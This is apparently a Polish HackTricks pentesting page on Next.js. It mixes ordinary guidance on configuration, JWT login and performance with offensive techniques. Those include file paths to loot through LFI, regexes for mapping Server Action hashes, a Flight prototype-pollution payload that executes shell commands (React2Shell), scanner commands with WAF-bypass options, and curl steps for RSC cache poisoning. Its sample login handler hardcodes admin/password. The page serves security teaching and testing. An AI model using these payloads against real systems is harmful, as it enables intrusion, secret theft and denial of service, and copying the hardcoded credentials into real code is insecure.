Dodatkowe aspekty architektoniczne i bezpieczeństwa

Zmienne środowiskowe i konfiguracja

Purpose: Zarządzanie poufnymi informacjami i ustawieniami konfiguracji poza bazą kodu.

Best Practices:

  • Użyj plików .env: Przechowuj zmienne takie jak klucze API w .env.local (wyłączone z kontroli wersji).
  • Access Variables Securely: Używaj process.env.VARIABLE_NAME do odczytu zmiennych środowiskowych.
  • Never Expose Secrets on the Client: Upewnij się, że wrażliwe zmienne są używane tylko po stronie serwera.

Przykład:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

Uwaga: Aby ograniczyć zmienne tylko do serwera, pomiń je w obiekcie env lub poprzedź prefiksem NEXT_PUBLIC_, aby udostępnić je po stronie klienta.

Przydatne artefakty serwera do wykorzystania przez LFI lub punkty końcowe pobierania

Jeśli znajdziesz path traversal lub download API w aplikacji Next.js, celuj w skompilowane artefakty, które mogą leakować serwerowe sekrety i logikę auth:

  • .env / .env.local dla sekretów sesji i poświadczeń providerów.
  • .next/routes-manifest.json i .next/build-manifest.json dla kompletnej listy tras.
  • .next/server/pages/api/auth/[...nextauth].js aby odzyskać skompilowaną konfigurację NextAuth (często zawiera zapasowe hasła, gdy wartości w process.env są nieustawione).
  • next.config.js / next.config.mjs aby przejrzeć rewrites, redirects i routing middleware.

Uwierzytelnianie i autoryzacja

Podejście:

  • Uwierzytelnianie oparte na sesji: Używaj cookies do zarządzania sesjami użytkowników.
  • Uwierzytelnianie oparte na tokenach: Wdroż JWT dla bezstanowego uwierzytelniania.
  • Dostawcy zewnętrzni: Integruj z OAuth providers (np. Google, GitHub) używając bibliotek takich jak next-auth.

Zasady bezpieczeństwa:

  • Bezpieczne cookies: Ustaw atrybuty HttpOnly, Secure i SameSite.
  • Haszowanie haseł: Zawsze haszuj hasła przed ich zapisaniem.
  • Walidacja wejścia: Zapobiegaj injection attacks przez walidację i sanitizację danych wejściowych.

Przykład:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

Optymalizacja wydajności

Strategie:

  • Optymalizacja obrazów: Użyj komponentu Next.js next/image do automatycznej optymalizacji obrazów.
  • Dzielenie kodu: Wykorzystaj dynamiczne importy do dzielenia kodu i zmniejszenia czasu ładowania początkowego.
  • Buforowanie: Wdróż strategie buforowania dla odpowiedzi API i zasobów statycznych.
  • Ładowanie leniwe: Ładuj komponenty lub zasoby tylko wtedy, gdy są potrzebne.

Przykład:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions Enumeration (hash to function name via source maps)

Nowoczesny Next.js używa „Server Actions”, które wykonują się po stronie serwera, ale są wywoływane z klienta. W środowisku produkcyjnym te wywołania są nieprzezroczyste: wszystkie żądania POST trafiają na wspólny endpoint i są rozróżniane przez hash specyficzny dla builda wysyłany w nagłówku Next-Action. Przykład:

POST /
Next-Action: a9f8e2b4c7d1...

Kiedy productionBrowserSourceMaps jest włączone, minified JS chunks zawierają wywołania createServerReference(...), które leak wystarczającą strukturę (oraz powiązane source maps), aby odtworzyć mapowanie między action hash a oryginalną nazwą funkcji. Pozwala to przetłumaczyć hashes zaobserwowane w Next-Action na konkretne cele, takie jak deleteUserAccount() lub exportFinancialData().

Metoda ekstrakcji (regex on minified JS + optional source maps)

Przeszukaj pobrane JS chunks pod kątem createServerReference i wyodrębnij hash oraz symbol funkcji/źródła. Dwa przydatne wzorce:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
  • Grupa 1: server action hash (40+ hex chars)
  • Grupa 2: symbol lub ścieżka, które można rozwiązać do oryginalnej nazwy funkcji przez source map, gdy jest dostępna

Jeśli skrypt deklaruje source map (komentarz na końcu //# sourceMappingURL=<...>.map), pobierz ją i rozwiąż symbol/ścieżkę do oryginalnej nazwy funkcji.

Praktyczny przebieg

  • Pasywne wykrywanie podczas przeglądania: przechwytuj żądania z nagłówkami Next-Action oraz JS chunk URL-ami.
  • Pobierz wspomniane JS bundles oraz towarzyszące pliki *.map (jeśli są).
  • Uruchom powyższy regex, aby zbudować słownik hash↔name.
  • Użyj słownika do kierowania testami:
  • Priorytetyzacja oparta na nazwach (np. transferFunds, exportFinancialData).
  • Śledź pokrycie pomiędzy buildami według nazwy funkcji (hashes rotują między buildami).

Wykonywanie ukrytych akcji (żądanie oparte na szablonie)

Weź ważne żądanie POST zaobserwowane w-proxy jako szablon i zamień wartość Next-Action, aby celować w inną odkrytą akcję:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Odtwórz w Repeaterze i przetestuj autoryzację, walidację danych wejściowych oraz logikę biznesową akcji, które normalnie są niedostępne.

Automatyzacja Burp

  • NextjsServerActionAnalyzer (Burp extension) automatyzuje powyższe w Burp:
  • Przeszukuje historię proxy w poszukiwaniu JS chunków, wyciąga wpisy createServerReference(...) i parsuje source mapy, gdy są dostępne.
  • Utrzymuje przeszukiwalny słownik hash↔nazwa-funkcji i usuwa duplikaty między buildami na podstawie nazwy funkcji.
  • Potrafi znaleźć prawidłowy template POST i otworzyć gotową do wysłania kartę Repeater z podstawionym hashem docelowej akcji.
  • Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

Uwagi i ograniczenia

  • Wymaga włączenia productionBrowserSourceMaps w środowisku produkcyjnym, aby odzyskać nazwy z bundli/source map.
  • Ujawnienie nazwy funkcji samo w sobie nie jest podatnością; użyj tego do kierowania odkrywaniem i testowania autoryzacji każdej akcji.

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Next.js App Router deployments that expose Server Actions on react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) zawierają krytyczną podatność prototype pollution po stronie serwera podczas deserializacji chunków Flight. Poprzez stworzenie odwołań $ wewnątrz ładunku Flight, atakujący może przejść od zainfekowanych prototypów do wykonania dowolnego kodu JavaScript, a następnie do wykonania poleceń systemowych wewnątrz procesu Node.js.

NodeJS - proto & prototype Pollution

Łańcuch ataku w chunkach Flight

  1. Prototype pollution primitive: Ustaw "then": "$1:__proto__:then" tak, aby resolver zapisał funkcję then na Object.prototype. Każdy zwykły obiekt przetworzony później staje się thenable, pozwalając atakującemu wpływać na asynchroniczny przepływ sterowania wewnątrz mechanizmów RSC.
  2. Rebinding to the global Function constructor: Wskaż _response._formData.get na "$1:constructor:constructor". Podczas rozwiązywania, object.constructorObject, a Object.constructorFunction, więc przyszłe wywołania _formData.get() faktycznie wykonują Function(...).
  3. Code execution via _prefix: Umieść kod JavaScript w _response._prefix. Gdy skażone _formData.get zostanie wywołane, framework oceni Function(_prefix)(...), więc wstrzyknięty JS może wywołać require('child_process').exec() lub inne operacje Node.

Szkielet payloadu

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

Mapowanie ekspozycji React Server Function

React Server Functions (RSF) to funkcje, które zawierają dyrektywę ‘use server’;. Każda form action, mutation, or fetch helper powiązana z jedną z tych funkcji staje się RSC Flight endpoint, który chętnie zdeserializuje attacker-supplied payloads. Przydatne kroki rozpoznawcze wyprowadzone z React2Shell assessments:

  • Inwentaryzacja statyczna: szukaj dyrektywy, aby zrozumieć, ile RSFs jest automatycznie wystawianych przez framework.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
  • Domyślne ustawienia App Router: create-next-app włącza App Router + katalog app/ domyślnie, co cicho zamienia każdą trasę w endpoint obsługujący RSC. Zasoby App Router, takie jak /_next/static/chunks/app/ lub odpowiedzi strumieniujące Flight chunks przez text/x-component, są silnymi identyfikatorami widocznymi z Internetu.
  • Implicitnie podatne wdrożenia RSC: Samo advisory Reacta wskazuje, że aplikacje dostarczające runtime RSC mogą być podatne na exploity nawet bez jawnych RSFs, więc traktuj każdy build używający react-server-dom-* w wersjach 19.0.0–19.2.0 jako podejrzany.
  • Inne frameworki pakujące RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku itp. używają tego samego serializera i dziedziczą identyczną zdalną powierzchnię ataku, dopóki nie osadzą poprawionych buildów Reacta.

Pokrycie wersji (React2Shell)

  • react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: podatne w 19.0.0, 19.1.0–19.1.1 i 19.2.0; załatane w 19.0.1, 19.1.2 i 19.2.1 odpowiednio.
  • Next.js stable: wydania App Router 15.0.0–16.0.6 osadzają podatny stos RSC. Łańcuchy poprawek 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 zawierają poprawione zależności, więc każdy build poniżej tych wersji ma wysoką wartość.
  • Next.js canary: 14.3.0-canary.77+ także dostarcza wadliwy runtime i obecnie brak w nim załatanych canary dropów, co czyni te sygnatury silnymi kandydatami do eksploatacji.

Zdalny oracle detekcji

Assetnote’s react2shell-scanner wysyła spreparowany multipart Flight request do wybranych ścieżek i obserwuje zachowanie po stronie serwera:

  • Domyślny tryb wykonuje deterministyczny payload RCE (operacja matematyczna odzwierciedlona przez X-Action-Redirect) potwierdzając wykonanie kodu.
  • Tryb --safe-check celowo uszkadza wiadomość Flight, tak że załatane serwery zwracają 200/400, podczas gdy podatne cele emitują odpowiedzi HTTP/500 zawierające podciąg E{"digest" w treści. Ta para (500 + digest) jest obecnie najbardziej wiarygodnym zdalnym oraclem opublikowanym przez obrońców.
  • Wbudowane przełączniki --waf-bypass, --vercel-waf-bypass i --windows dostosowują układ payloadu, dopisują junk lub zamieniają komendy OS, aby można było sondować rzeczywiste zasoby Internetu.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

Inne niedawne problemy App Router (koniec 2025)

  1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – sfałszowane Flight payloady mogą wpędzić resolver RSC w nieskończoną pętlę (DoS przed uwierzytelnieniem) lub wymusić serializację skompilowanego kodu Server Function do innych działań. App Router builds ≥13.3 są podatne do momentu załatania; 15.0.x–16.0.x wymagają konkretnych linii poprawek z upstream advisory. Wykorzystaj zwykłą ścieżkę Server Action, ale streamuj body text/x-component z nadużywającymi odwołaniami $. Za CDN zacięte połączenie jest utrzymywane przez timeouty cache, co czyni DoS tanią metodą.
  • Triage tip: Niezałatane cele zwracają 500 z E{"digest" po sfałszowanych Flight payloadach; załatane buildy zwracają 400/200. Testuj każdy endpoint już streamujący Flight chunks (szukaj nagłówków Next-Action lub odpowiedzi text/x-component) i odtwarzaj z zmodyfikowanym payloadem.
  1. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – brak Vary pozwolił, by odpowiedź na Accept: text/x-component została zcache’owana i serwowana do przeglądarek oczekujących HTML. Jedno wstępne żądanie może zastąpić stronę surowymi payloadami RSC. Przebieg PoC:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

Jeśli druga odpowiedź zwraca JSON Flight data zamiast HTML, trasa jest podatna na poisoning. Oczyść cache po testach.

References

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks